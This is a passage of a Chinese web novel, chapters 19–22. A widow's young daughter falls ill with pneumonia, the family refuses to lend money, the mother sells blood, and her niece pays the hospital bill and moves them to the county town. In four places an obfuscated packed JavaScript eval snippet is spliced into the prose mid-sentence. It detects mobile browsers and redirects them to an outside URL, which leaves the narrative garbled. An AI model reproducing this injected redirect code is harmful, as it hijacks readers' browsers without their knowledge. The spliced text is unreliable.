林良娣一心系在女儿身上,不过林老太的阻拦快步冲出了院门。以往孩子发烧头疼脑热的,哪像今天这么严重,不知道为什么她总有种不好的预感。 她坐上牛车来到镇上,一个人抱着孩子在镇医院挂急诊。 镇医院不大,设施简陋,但相比村医院好了太多,不过也没有专门的儿科。 出诊的医院主任,五十来岁,他放了一根温度计夹在孩子腋下,用听诊器听了听心肺,摸了摸脉搏。最后表情凝重地说:“四十点五度,不像一般的感冒发烧,我也不敢妄下定论,咱们医院很多设备不全,你带孩子去县人民医院看看吧。” 林良娣一听,整颗心沉了下去。当下也来不及多想,抱着孩子搭三轮车往县城去。 镇上坐车去县里要一个半多钟头,林良娣坐在车上对着孩子的脸颊亲了又亲,泪水不知不觉顺着脸颊滑落下来。 旁边一起搭车的婶子见孩子两个小脸蛋红的不正常,母亲哭的不做声,猜到是孩子病了,忙安慰她:“大妹子,你别自己吓自己,孩子小时候都有个头疼脑热的,县城医生医术高着哩,保管药到病除。” 林良娣只是点头,心里希望是如此。但不知道为什么,她总有种不好的预感,心里乱成了一团麻。 闺女林星星两岁就没了爹,别人家的孩子小时候都哭哭闹闹,自家闺女乖得像大人一样,从不用自己多操心。她又想起了自己早逝的知青丈夫,哪个人说话轻声细语,从不会大吼大叫,性格脾气都好,她在村里待了一辈子,从没见过这么温驯的男人。星星的性格就是随了爹。 星星的亲爹要是还在,哪该多好啊。 林良娣有些六神无主了。 到了县医院,明堂堂的大厅,一片白。她抱着孩子在里面来回转圈,找不到方向。 还是一个头戴浅蓝帽子的女护士为她带路,细心地指导她挂号。 县城医院有各种各样的仪器设备,医生用助听器简单地听了听孩子的胸口,手写了一张单子,说了句:“先去做检查。” 医生们用各种设备给林星星做了各样的检查。 林良娣忙得晕头转向,检查做完后,她抱着孩子拿着一堆的报告单去找医生。 医生穿白大褂带着金边眼睛,将检查报告单翻来覆去看了一遍,两片嘴唇终于动了动:“急性肺炎,先带孩子去输液,然后办理住院手续。” 肺炎?住院?林良娣手上只剩不到十块钱了。 她嘴唇发抖的问:“大夫,能治好不?总共要花多少钱啊?” 医生被问多了这种问题,面无表情地回答:“先住半个月观察一下,让你男人至少先准备三百块。” 林良娣噙动嘴唇:“孩儿她爹早年就不在了。” 医生对人间疾苦早已司空见惯,只是微不可察地稍稍压低声音。 “先带孩子下去输液吧。” 林良娣抱着孩子去了输液室,在里面她又碰到了哪个带着蓝帽子的好心女护士。她请求她帮自己看一下孩子,她出去打个电话。 护士微笑着答应了。 林良娣来到公用电话亭门口,拨通了村书记家的电话。 电话很快被接起,接电话的是村书记夫人。林良娣在电话里带着哭音说:“村书记家的,我是东河头村的林良娣,麻烦请你跑一趟,去跟老林家说一声,我你儿星星得了肺炎在省城住院,需要三百块钱医药费,希望家里能帮我借三百块,等以后孩子好了我慢慢还钱。” 虽然三百块是个大数字,但家里兄弟三个,实在不行再找亲戚们借,应该能凑齐三百块,林良娣如是想着,心里终于松了口气。有了钱孩子就有救了。 “好好好。大妹子你就放心吧,我这就去。” 村支书夫人一听孩子住院了,这可是大急事,放下电话就往林家赶。 林老太正在哄两个小孙子吃蛋羹,见到村支书家哪位进了家门,先是一愣,随后问:“村书记家的,你有什么事。” 村书记夫人将自己在电话里听到的情形复述了一遍。 “三百块?”林老太蹦了起来。养大一个丫头回本都回不了三百块。 “大家都难咧,你们家亲戚之间赶紧借一借,娃儿的健康要紧啊,林婶子。孩子长大了会记得奶奶的好的。” 家里拿不出三百块啊,这么多钱得凑到猴年马月。 但林老太不会当着村书记夫人的面说这话,只是点点头说知道了,等家里儿子下工回来和他们商量商量。 村书记夫人通知到位回家去了。 在县里做泥瓦工的林老三今天白天回来了,正在房里捧着碗吃林老太做的青菜猪油面。 村书记家的走后,林老三吃完面端着空碗出来问:“妈,刚刚谁来了?” 林老太说:“良娣的闺女病了在县里住院,需要三百块住院费,打电话让村书记家的来让咱们凑钱给孩子治病。” 林老三“哦”了一声,面无表情地说:“也不是什么大事,妈,我的钱可都给你攒着了,你自己看着办吧。” 林老太点头说:“志勇,妈都知道。” 林老太的几个儿子里,就属林老三林志勇最听她的话。别的儿子怕老婆,挣的钱多少都要藏一点私,林老三却是挣多少上交多少,老实本分。 林老三对林良娣这个妹妹态度冷淡,心里一直怨着她当年多事把自己老婆放走了,不然到现在他都好几个儿子傍身了。 到了傍晚林良娣又往村书记家打了电话,问家里钱筹到没。 村书记夫人说:“还没来信呢。” 林良娣急了,她手里的钱只够林星星在医院住一晚的,连明天的输液钱都凑不够,那可怎么办是好。 “麻烦你再去帮我问一下吧,让我妈来说电话成不。孩子病得严重,我实在没办法了。” 林家没分家,林老太是一家之主,只要林老太点头一切就都好办。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149859|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村书记夫人说:“大妹子你别哭,我这就去叫你家老太来说电话。” 傍晚等林老大和林老二干完农活回家,林老太把兄弟三人叫在一起合计,三兄弟一听要出钱都不做声。 林老太说:“家里没凑到钱,良娣一定还会打电话来,不管有钱没钱,咱们都要和她透个底。不然这一天好几个电话,你们不烦我也烦呐。” 三兄弟都觉得有道理。最后一商量推出了老大林大军去和林良娣说清楚。 林家这边刚商量完,村书记家的就过来了。 林家人把林老大推了出去。 村书记夫人对林老太说:“良娣大妹子想和你通话。” 林老太说:“我这老腿犯了风湿走不动路,老大是一家之主,和他说也一样。” 村书记夫人把林老大带到电话前,他接起电话和林良娣诉苦:“妹子啊,家里哪有钱啊,丽霞读高中把我两个钱都花完了,实在凑不出来了。” 凑不出来?这是什么话? 一听是大哥的声音,林良娣急了:“大哥,妈呢?妈怎么不来说话?家里能凑多少?” “妈她忙着呢,让我来和你说。” 林老大支支吾吾,后面的话不知道咋回答,来之前妈也没和他说要凑多少啊。 他想了想,做出一副大方的模样:“我们三兄弟每人给你凑十块成不?” 林良娣在电话哪头绝望地哭道:“三十块不够啊,星星病得很严重,现在还在昏迷当中,我真的需要三百块,你能不能再帮我多凑一点,大哥?” 林老大不说话。 林良娣在林老大面前埋怨诉苦:“我带着星星在家住了三年,这三年来每月给妈交公四块钱,家里一天三餐都是我出钱买菜做饭,大哥你摸着良心说,这几年我为家里的付出,怎么着也不止三十块吧?” 她从来不是爱计较的人,觉得付出了就付出了,但这会儿她怎么也忍不住将自己多年来的辛苦一五一十全摆了出来。 林家一直没分家,家里三个儿子每月挣得钱都上交给林老太,包括林良娣自己,每月也要拿出四块钱给林老太。这么多年,林老太手上估计存了不少。故此林良娣把希望寄托在自己的亲妈林老太身上,再怎么着林老太是自己的亲妈,总不会见死不救。 不管林良娣怎么说,林老大都是一句话:“妹子,哥也是没办法了,明天我就让人把家里凑到的三十块给你送过去,至于其他的钱,真的没办法了,是哥没用,你也别怨哥......” 农村人一年忙到头,手里净挣不到一百块钱,不管林良娣怎么诉苦,林老大心里始终有一本清明的账本。他女儿高考还要上大学,儿子也要上一年级了,哪哪儿都要钱,这钱真不能借。 林良娣苦苦哀求道:“大哥,大哥,我求求你,你再和妈说说......” 亲妹子撕心裂肺的哭声让林老大莫名升起一股怒意,他忍不住大吼一声:“你别说了,这就是妈的主意!就这样吧,我先挂了。” “你们不能这样啊,不能这样,星星还那么小,你们不能见死不救啊!大哥,大哥?大哥!喂,喂?” 街边路灯亮起昏黄的光,林良娣背靠着电话凉亭,听到耳边电话传来嘟嘟的忙音。明明是六月的夜晚,她却感到很冷,前所未有的冷。她抱紧胳膊两腿沉重地像灌了铅,拖着步子往亮堂堂的医院门口走去。 19. 19 丈夫死后,林良娣只想把女儿林星星养大成人,看着她结婚生子,幸福美满地生活。可这年头,一个女人带着孩子,那么难。虽然她有一份在食堂打饭的工作,工资按月发,虽然不多,但也将就能生活。就算不为了自己,为了女儿林星星,她希望女儿日后有娘家这头做倚仗,不会被人看不起。所以她才将林星星带回了娘家住,每月交给林老太的四块钱在镇上都能租下两间房了,这还没算上她几年如一日给一大家子做一日三餐的劳累奔波......其实苦点累点她不在乎,她做这一切都是为了女儿林星星。 可是,如果没有钱,星星的命恐怕...... 她麻木地走到医院输液室,从护士手里接过还在昏迷的林星星,连一句谢谢都忘了说。她搂紧怀里的孩子,一瞬不瞬地盯着孩子的脸,她想,实在不行就去卖血吧,三百块钱,她得卖多少血啊? 她早年听过村里有人卖血过多身体吃不消当场死了的,不过她身体一直很好,应该不会死的。就算死了又怎样,只要星星能健康...... 晚上,林苏棠坐着牛车回到林家,林家院门虚掩,里面比往常都要安静。林苏棠一下牛车便听到供销社老板朱洪顺远远在后头喊她。 林苏棠拎着大包小包东西下车,朱洪顺追了上来。 “林同志,我今天等你一天了。” 苏棠回过头,疑惑地看向满头大汗的朱洪顺。 朱洪顺说:“林同志,听说你们家有亲戚在省城倒卖爆米花,不如我们合作一把怎么样?” 林彩虹听到院外的动静,从房里出来,往门外探出头。 苏棠露出淡淡的微笑,眉毛往上扬了扬:“我为什么要和你合作?” 朱洪顺把从学生们哪里收来的定金摊到苏棠面前,说:“我有钱,我能让你挣到更多的钱。” 在一旁偷听的林彩虹打断道:“林苏棠她胡说,我们家根本没有亲戚在电影院上班,你不要被他们骗了。” 林苏棠平静地回给她一个看智障的眼神。 听完林彩虹的话朱洪顺并不怎么惊讶。他要的是爆米花,只要能搞到爆米花的货源就成,至于林家有没有这么个亲戚压根就不重要。 如果是能挣钱的话,林苏棠倒愿意花时间听一听朱洪顺的门道。 她把朱洪顺拉到没有林彩虹的地方,问她:“你有什么计划?” 朱洪顺说:“你的爆米花在外面一袋卖五毛,两袋卖八毛,我出一袋两毛的价格,你每天做多少都卖给我。我稳定要。” 一袋两毛?把她的收益砍半?她像傻子吗? 而且,苏棠也不确定朱洪顺这个买家稳不稳定,如果能长期合作的话,她还能考虑考虑,毕竟这样的话她每天只用做爆米花,不用在外面日晒雨淋的奔波。 苏棠说了一个中间价:“前三个月我要三毛每袋,后面我觉得你稳定要货的话再给你两毛五一袋的进价。你考虑一下吧。”毕竟这东西成本不高,她也不是哪种黑心商家漫天要价。这个价格朱洪顺买过去还有一倍好赚。 从朱红顺爷爷和父亲辈起,他们家的男人就走街串巷当货郎卖货,到了他这代开始经营小店。朱洪顺还真没看出来,林家的三丫头居然这么精,还跟他讨价还价了。作为一个真正的商贩,他当然要保证自己的利益最大化。 他笑了笑,准备说:“你考虑一下吧。” 却让苏棠抢先说了:“朱老板,你考虑一下吧,我手头还有其他好几家供销社找我合作呢。” 朱洪顺还想继续和苏棠打心理战,但苏棠转身走了回了林家。 她前脚刚进院门,林老大也从村书记家回来了,林老大一进院子反手就把院门落了锁。 苏棠看到林良娣的房间里漆黑一片,以为四姑她们都睡了,走进去发现床上和上午离开之前没有两样。 四姑带星星去打针,按理说早就应该回来了。 她疑惑地走到院子里,准备问林老太,她脚步声很轻,隐约能听到大房屋子里传出来的谈话声。 “良娣也怪可怜的,咱们这么做是不是有点不厚道呀?” “你这话说的,你自家两个孩子要读书以后有的是花钱的日子,她女儿开口就要三百块,让你们三兄弟一人平摊一百块,凭什么?” “孩儿他娘,我这不是和你商量嘛,良娣孩子还在县城住院呢,听说一直昏迷不醒呢。” “老林,你做老大的想充大头,也不看看你自己有几斤几两,谁家的钱是大风刮来的。这事儿是你们三兄弟和妈商量好的,你们一人出十块钱就已经算仁至义尽了。咱们一个月都难挣十块钱。” 星星病了,四姑带着星星住院去了? 苏棠刚要扣响林老太的房门,听闻此言,不由得脚步一滞,如遭雷击。 林家人居然只打算出三十块? 她真想一脚踢开房门把这群人打一顿,但转念一想,自己从始至终就没对这群人怀抱希望,林家这群人做出什么事她都不意外。现在还不是起冲突的时候。 三百块,三百块,她身上这两天挣了四百六十块钱,不知道够不够...... 她打算明天天一亮就去县城送钱。 这时院外传来了轻轻的敲门声,不知谁这么晚会来,苏棠走近门边问:“谁?” “我,朱洪顺。” 苏棠打开门,便看见朱洪顺笑眯眯的一张脸,他龇着牙说:“大妹子,我考虑好了,咱们成交吧。” “过两天再说吧,我明天不在家。”苏棠没有心情和他谈生意,准备关门。 朱洪顺手里攥着学生们给的一摞定金,明天不在家?那怎么行,学生们明天来问他要爆米花他总不能把这好不容易挣来的赚钱机会给推了吧。 “我给你定金!”朱洪顺伸手挡住了门,将手上的钱晃了晃,“我先给你定金,你今晚能给我做多少就做多少。” 苏棠停止关门的动作,眨了眨眼:“我不要定金,我要全款。” “这......” 朱洪顺面露犹豫之色,他还没开张呢就要付全款未免有些压力。 苏棠继续手上关门的动作。她不是没看到朱洪顺手上那一摞一角钱定金,看起来厚,其实加起来不超过五块,如果她明天没事的话一定会很干脆的答应下来,毕竟有钱不赚王八蛋。可她明天还要赶早去县医院。 “哎,慢着,我答应你,”一想到那□□了定金明天来要爆米花的中学生,朱洪顺音调升高,“我要五百包,不过明天你得一大早送来给我。” 苏棠眸光一闪,一包三毛钱,五百包就是一百五,星星在住院,四姑在县里还要吃饭,钱多点总是好事。 苏棠伸出手:“好,朱老板你定金给我。” 接过定金,和朱洪顺谈拢后苏棠关上院门,便进了灶房做爆米花。 她当夜只睡了五个小时,早上天没亮就带着一大包爆米花来到供销社门口,朱洪顺拎起爆米花在手上颠了颠,很爽快地给了她余下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏棠第一个冲下车,她头一回因为闻不惯车里的气味到晕车想吐的程度。 赶紧去路边小卖部买了一瓶水漱口,然后向小卖部老板问路径直往县医院去了。 身后浑身散发着香水味的高大男人缓缓下了车,修长笔直的双腿踏上满是灰尘的乡路,一双原本擦得锃亮的皮鞋早已面目全非。他蹬了蹬脚,皮鞋上的灰纹丝不动。 得,回去再买一双。 他迈着步子东看看西看看,来到小卖部旁的垃圾桶边,修长手指西服从口袋掏出一方璀璨的玻璃瓶子,这是一瓶香水,瓶身赫然印着国际名牌的logo,这牌子他用过,但他手里这瓶除了瓶子是真的,里面的东西完全是两样。 大陆某些司机的车子太臭了,他早上临时在路边买了瓶香水救急,连喷三四下,喷到了身上才发现味道不对,可为时已晚。 他的高雅品味都被这瓶臭香水拉低了,搞得他郁闷了一路。 现在他伸手把这个假货毫不留情地扔进了垃圾桶。 本来早上就打算丢了的,但没到处没找到垃圾桶,他便一路揣在兜里留到现在。 丢完垃圾,男人习惯性抬起右手看时间——手腕上原本亮崭崭大金表的位置早已空空如也。提醒他这只表昨日已被人偷了。 那可是全球限定款! 妈的,到底是谁眼光这么好,偷走了本少爷的手表?! 20. 20 林苏棠来到医院,问了导诊台找到林星星的病房,一个护士正在给病床上昏迷不醒的小女孩儿打针。 她一进门就看到细细的金属针扎进孩子惨白手背上的经络,孩子眉头微微皱起,眼睛却没睁开。见到这种情形,苏棠的心紧紧揪着。 房病用白色的帘子隔成两间,苏棠眼睛找了一圈,却没看到林良娣。她来得匆忙,没有提前告知四姑。或许这会儿四姑去外面买早餐去了,等会儿就回来了。 等护士忙完转过身,苏棠问护士:“护士小姐,请问这张病床的家属去哪了?” 护士打量地看了她一眼,问道:“你是她们什么人?” 苏棠说:“我是她们的家人。” “我不知道,我只负责按时给病人打针。你是她姐姐?” 苏棠点头:“是的。”、 护士放下手里的托盘,心里嘀咕这孩子的妈妈也是粗心,孩子早上要打针妈妈却不在身边陪着。这会儿打针时间都过来了才慢悠悠来了个人。她拿起一本记录本,翻了翻然后说:“病人急性肺炎,还没度过危险期,需要继续留院治疗,对了,病人的住院费昨晚就到期了,今天中午之前记得把住院费补齐。” 护士说完便风风火火走了。 苏棠去卫生间洗干净手,擦干了然后轻轻摸了摸林星星的发热的额头,眼中满是心疼。 “星星,你一定要早点好起来呀。”她轻轻在她耳边说。 苏棠来到缴费处,一次性缴了三百块的住院费。她以最快的时间又去外面买了一提篮水果,和一罐麦乳精,县城买东西比村里方便多了。路上她又买了两个油煎鲜肉饼和两碗豆浆。 前前后后忙了差不多半小时,回到病房还是没见到林良娣,她便坐在林星星的床前等她。林苏棠食之无味地吃着鲜肉饼和豆浆,病房里静悄悄的,偶尔能听到外面远远轰鸣的汽车声,这声音让她心下烦躁。 四姑怎么还不回来。 她开始有点担心她。 — 艳阳当空照在头顶,给这个不太繁华的县城笼罩了一层亮丽之色。 县城卖血站一大早便排满了长龙,林良娣早上连饭都来不及吃,为了省钱走了四十分钟走到卖血站,她排在人群队伍的末尾,不一会儿她身后排了一条队伍,她的位置变成了中间。 卖血的队伍鱼龙混杂,不一会儿人群中七老八十的老年人都被赶了出去,瘦得皮包骨的也被赶了出去,留下了一批看起来健康的青壮年,林良娣只是这两日憔悴了许多,但身体还很健康,因此被留了下来。队伍一时间松泛了许多。 卖一碗血也就是200ml能挣十七块钱,卖两碗血(400ml)能挣三十五块钱,来卖血的都是穷苦的农民,只要抽点血三十五块就到手了,这钱来得快,他们有些人一年到头在地里刨食都挣不到这么多钱。 听说一次不能卖太多,而且抽完血后要隔一段时间才能再卖,不然对身体不好。林良娣已经顾不得自己的身体,她今天第一次卖血先卖两碗,后面再卖个□□次就够星星的住院费了。 她看了一眼天上刺眼的太阳,又看了一眼前面乌泱泱的长龙般的队伍。忽然面上扯出一个无力的笑,看来这个世上的苦命人不止她一个,若非是走投无路没办法又急需要钱,谁会来卖血呢? 头顶太阳晒得她脑袋嗡嗡的,她开始后悔昨晚往家里打了那么多电话,花了她三块钱。早知道自己的家里人没一个靠得住,她干嘛要浪费这个钱呢。 “明天我就让人把家里凑到的三十块给你送过去,至于其他的钱,真的没办法了,是哥没用,你也别怨哥......” “大哥,大哥,我求求你,你再和妈说说......” “你别说了,这就是妈的主意!就这样吧,我先挂了。” 她的泪已经流干了,眼睛到现在还是肿的,虽然心里还是酸的,但她不会哭了。 快到中午的时候,苏棠见到了手扶着病房门框的林良娣,她脸色苍白,另一只手紧紧攥住了拳头,不知握住的是什么。 “四姑!” 林苏棠赶紧上前去搀扶住她。 林良娣整个人靠在苏棠身上,眼神是麻木的,哆嗦着苍白的嘴唇说:“小棠,你来了。” 苏棠扶她坐下,见她一副有气无力的模样,给她倒了一杯热水,担心地说:“四姑,你不舒服嘛,你上午去那儿了?” 林良娣没回答她,将攥紧的拳头缓缓递到她面前,松开手,露出三张纸钞。 “小棠,我走不动了,你去帮我把星星的住院费交了。”这才献了两碗血,她的身体就吃不消使不上劲儿了,说完话,她缓缓闭上眼睛,但林林良娣只能往好处想,她不敢往坏处想。心底里有一种叫做母爱的东西支撑着她,给予她盲目的希望。 林良娣的额头渗出点点细汗,林苏棠拿出纸巾替她擦拭。 “四姑,星星的住院费我已经交了。” 林苏棠觉得林良娣的状态有点不对劲,她接过她手里的钱,叠好然后偷偷塞进林良娣的衣服口袋里。 这话并没有让林良娣好受一点,林家三兄弟凑来的三十块就像个笑话一样。 休息了片刻,林良娣稍有了一点精神头,她虚弱地说:“以后你多帮我照顾点星星。” 苏棠给她捏了捏肩膀:“星星是我妹妹,我肯定要照顾她。四姑,外面这么热你是不是中暑了。” 林良娣虚弱的笑了笑,她现在的心要多冷有多冷。她的余光扫到低矮床头柜上的果篮和一罐麦乳精,愣了愣:“这是谁送来的?” 这是娘家送花来的?但这个念头一闪即逝,很快就被她推翻。 “小棠你又乱花钱了。”不等林苏棠接话林良娣继续说。 “四姑,你忘了我卖爆米花挣到了钱啦?”苏棠笑了笑,正在给林良娣捏肩膀的手按到了她的胳膊,林良娣忽然疼的一躲。遮遮掩掩地把袖子往下拉。 苏棠有些疑惑道:“你手怎么啦?”她越想越觉得不对劲,不顾林良娣的遮掩,把她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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体检了一圈,林良娣好不容易才缓过神来,眼泪流了满脸,在医院就对着林苏棠跪下:“真是谢谢你,小棠,四姑谢谢你......”娘家没一个人靠得住,紧要关头还是自己从小被送出去的侄女帮了自己一把,小棠救了星星的命,她真不知道该怎么报答侄女了。 林苏棠只是看了一眼林良娣的体检报告单,稍不留神对方就跪在自己脚下了,她吃惊不小,赶紧将人扶起来。 “四姑,你这是在干嘛,快起来,今天你偷偷背着我去卖血就已经让我够生气了,现在又这样跪着,你想我以后再也不理你了吗?” 林良娣站起来,赶紧用手擦干净了眼泪,笑得有些发囧:“谢谢你,小棠,四姑真不知道该说什么了......” 林苏棠张开手抱住林良娣,深吸了一口气:“四姑,以后不管什么事都先和我商量,不要一个人说干就干了。这是最后一次也是第一次,你以后再犯这样的错我就真的再也不理你了。” 林良娣像个孩子一样点头答应:“好,好,以后都听你的。” 21. 21 三天后,昏睡中的林星星终于醒了过来,医生说情况还是不太稳定,需要继续住院接受治疗。 林苏棠又给了林良娣两百块钱,让林良娣安心在医院照料林星星。只要有钱一切都好办,经过林良娣卖血的事件之后,林苏棠更坚定了要赚很多钱的想法,没有钱就无法应对风险和意外。 期间林家派人送了三十块来医院来,林苏棠钱照收,拿起清洁工手上的扫把对着人就是一顿打,把人打走了。 自己大老远好心来送钱,耽误功夫还有车费,还送坏了?林老大走得时候骂骂咧咧,撂下狠话说她们都是白眼狼,以后不让她们姑侄俩进林家的门! “呸,你当谁稀罕去呢!” 林家那晦气地方,现在就是求她去她也不去。 林苏棠先是在县城一中外面盘下一家门面,每月月租十二元,是间带院子和厨房的两室,面积不大但够三个人住的了。校门口人流量大,而且地处县城,道路发达,附近的居民晚上吃完饭都会往学校这边散步。 朱洪顺把她的爆米花生意扩展了“版图”,他成为了临近几个镇子上许多供销社和商店里的爆米花货源上家。 他一口气向林苏棠下了两千袋爆米花的订单。 林苏棠最近在县城也没闲着,她在一家农产品市场找到了一种超级玉米。不同于普通的家种玉米,超级玉米更适合制作成爆米花,膨爆率更高,受热后爆裂出来的成品更大粒更松酥。装袋后看起来满满一袋,实际上用的玉米粒却变少了。而且成本和原来差不多。 苏棠根据现代的爆米花口味改良出了新款奶油味爆米花,她在县一中学校门口试卖了一阵子,销量非常好,五百袋半天就卖完了。 半个月后,林星星出院,林苏棠租了一辆拉风的小汽车来接她。 林良娣愣了,回村里开小汽车太费钱了吧。她还执意要把这半个月在县里买的生活用品都带上,林苏棠不在乎这点东西,但是拗不过她,就让她一起装上车了。 小萌娃在医院住了半个月,脸瘦了一圈,林苏棠心疼地把她抱在怀里,亲了又亲。最近她生意实在太忙了,都没时间多看看她。 小汽车当然没回村里,而是缓缓驶到了县一中校门口,苏棠微微一笑说:“以后咱们三个就住县城了。” 林良娣再次愣了,在车上她还在想回家后该怎么面对着一大家子人,说好话她吧现在心寒了拉不下脸,可是不说好话林家人真的赶自己走该怎么办?她犯了难。 现在侄女告诉自己不回家要住县城了,她脑子忽然有点转不过来了。觉得一切都很不真实。 “可是钱......” 林良娣一开口,苏棠就知道她又在担心钱,她拍拍胸脯道:“四姑,钱的事你别担心,我现在有钱了。”这半个月不到,她已经进账了四千多。 没错,就是这么挣钱,她做的生意都是小成本跑销量,大富大贵还谈不上,不过三个人开销还是不抵手的。 在八十年代,只要胆子大,站在风口上,猪都能飞上天。 林良娣跟着林苏棠进院门,一路都是懵的,房间干净整洁,床单被套全是崭新的,她和女儿林星星睡一张大床。苏棠住在她们隔壁,房间床稍小一点,但一个人完全够睡。 院子里还有单独的厨房和自动冲水蹲便器,这条件和在村里比简直一个天上一个地下。 进屋后,林良娣才想起来问了句:“小棠,这么好的房子,得多少钱一个月啊?” 林苏棠笑了笑:“不贵,一个月才十二块钱。” 林良娣睁大眼,不可置信道:“我之前在食堂上班一个月才六块钱工资,你这光房租都抵我两个月工钱了。” 说到镇中食堂的工作,林良娣的眸光暗了下去,她这么久不在学校,工作估计早被人顶去了。村里不少人羡慕她的工作,每天就在学校食堂后厨打打下手,没事干就聊天休息,学生放学吃饭了忙完那半个小时就没事了。一个月还发六块钱,要不是这工作轻松,她每天哪还有功夫抽空回林家给一大家子做饭。 林苏棠拉她坐下来,说道:“四姑,以后你不用去食堂了,你给我打工,我一个月给你开两百块工资!” 当然,还有林星星,她已经联系好了附近的幼儿园,幼儿园伙食不错,离县一中不到两百米,这家幼儿园是县城“贵族”幼儿园,学费是普通幼儿园的五倍,但贵有贵的道理。无论是老师的专业素质还是服务态度都是全县最好的。如果不是提前打听清楚的话,林苏棠也不会贸然将孩子送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200296|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。林苏棠一交钱,林星星就能去幼儿园托管了。 什么?两百!她没听错吧。林良娣刚刚进门不是没看到林记的招牌,刚开业的店能回本就不错了,还挣钱。 可是她不知道,林老板的店不仅能回本,还能挣钱,不光林记挣钱,而且林苏棠的爆米花生意在朱洪顺的大力推广下也格外红火。 林苏棠说:“我现在是老板了,两百块对我来说就是洒洒水啦。”不过她的志向可不是开个小吃店,她是要当大老板的人!她打算先让四姑林良娣锻炼一下,后面等她扩展新的商业版图后这家店就留给林良娣傍身。 住进来之后,林良娣总念着家里的衣服还没带够,林苏棠大手一挥,当天就带着林良娣和林星星每人买了五套衣服,还去县城高档餐馆好吃好喝了一顿。 虽然还在事业的起步,但林苏棠对于未来有着乐观积极的态度和信念,赚钱就是用来花的,大钱省不来,小钱省下也富不了。 林记有了林良娣的帮忙,林苏棠轻松了许多。当然卖爆米花太单一了,她又教林良娣做土豆泥和茶叶蛋,还有手工diy出来的奶茶冰饮料。因为夏天到了,林苏棠在黑市淘了一个大冰柜,容量差不多三百升,当然再大点也买不到。冰成冰块做冰饮料不在话下。附近一千米开发区刚好新建成一家步行街,里面有家全县最大的商场。 苏棠打算把饮料价格定在一元一杯,她至少能有八毛的利润,为此她特地租了个三轮车还有大帐篷。每天下午四点多出摊。 林良娣在看着学校这边的铺子,她去步行街卖饮料。一天下来能挣双份的钱,到了晚上姑侄两个人对完账,就开始哼哧呼哧做爆米花。 短短几天,林良娣收钱收到手软。一开始还说不要侄女的工资免费帮忙,后面侄女执意要给,她也乐呵呵地收下了。林星星住院那会儿,林良娣就是吃了没钱的亏,因此对于经营林记那是一百万个上心。 就是委屈了小萌娃林星星,白天她一睁眼,妈妈和姐姐就在忙,她从学校回来,妈妈和姐姐还在忙,晚上她睡觉妈妈和姐姐还在忙。不过住到县里来之后,她的伙食好了许多,幼儿园好吃的东西太多了,同学们都不会欺负她,而且她在学校已经交了好几个好朋友了。她太喜欢上幼儿园了。 22. 22 这一定是个乞丐! 苏棠租的门面是学校家属楼的一楼,房主一家已经搬去省城了,这里是学生们放学的必经之地,独门独户加上房子干净整洁,所以租金高,光是价钱就卡住了一大批人。苏棠出手大方,一次性给了半年的租金。 接近中午,楼里的邻居们正准备午饭,走廊外摆满了各家各户的煤炉,锅里用棉油翻炒着青菜。 楼上邻居边炒菜边大声交谈,更有楼上楼下比嗓门对喊。 “星星妈今天炒什么菜呢,这么香。” 一个正在翻炒锅底的女人热情招呼林良娣。 林良娣来了没几天,基本上和楼里的人混了个脸熟。 “今天炒个辣椒炒肉。”林良娣笑着说。 刘婶儿从二楼往下探脑袋,用鼻子使劲儿嗅了嗅:“哟,你们家天天吃肉啊。” 林良娣笑道:“孩子正是长身体的时候,不多吃肉怎么行。”她现在口袋里有钱了,买菜可舍得了,每天都要给家里两个孩子买个半斤一斤的肉。 刘婶儿的目光从菜锅移到正蹲在自来水边洗菜的林苏棠身上:“大妹子,洗菜的姑娘你这是你大女儿吧。” 林良娣一边炒菜一边回答:“这是我侄女儿。” 刘婶儿夸赞道:“这姑娘真漂亮,多大了,有没有谈朋友呀?。” 林良娣说:“十七岁......” 林苏棠洗好了菜,抬头对着刘婶儿道:“婶儿,我还要上学呢,不是谈朋友的时候。” 苏棠念大学的男朋友是高一年级的学长,他毕业后找到了大厂工作,没多久就劈腿了。甚至都不是当面分手,而是男方在微信上发消息说:“校园恋爱都会充满遗憾,忘掉我,你值得更好的人。” 这位前男友带她看过凌晨的山顶日出,夜晚绚烂的烟花,在千里之外旅行时还不忘给她寄明信片,送她亲手制作的永生花,许许多多的夜晚两人抱着手机漫野畅聊......一起携手走过了三年的校园时光,分享过无数次的快乐与悲伤,许下过无数次的承诺。包括身边朋友都夸她眼光好,找了这么好的男生。 可是爱到走后,好像全凭良心。 她把青春给了他,却输给了现实。 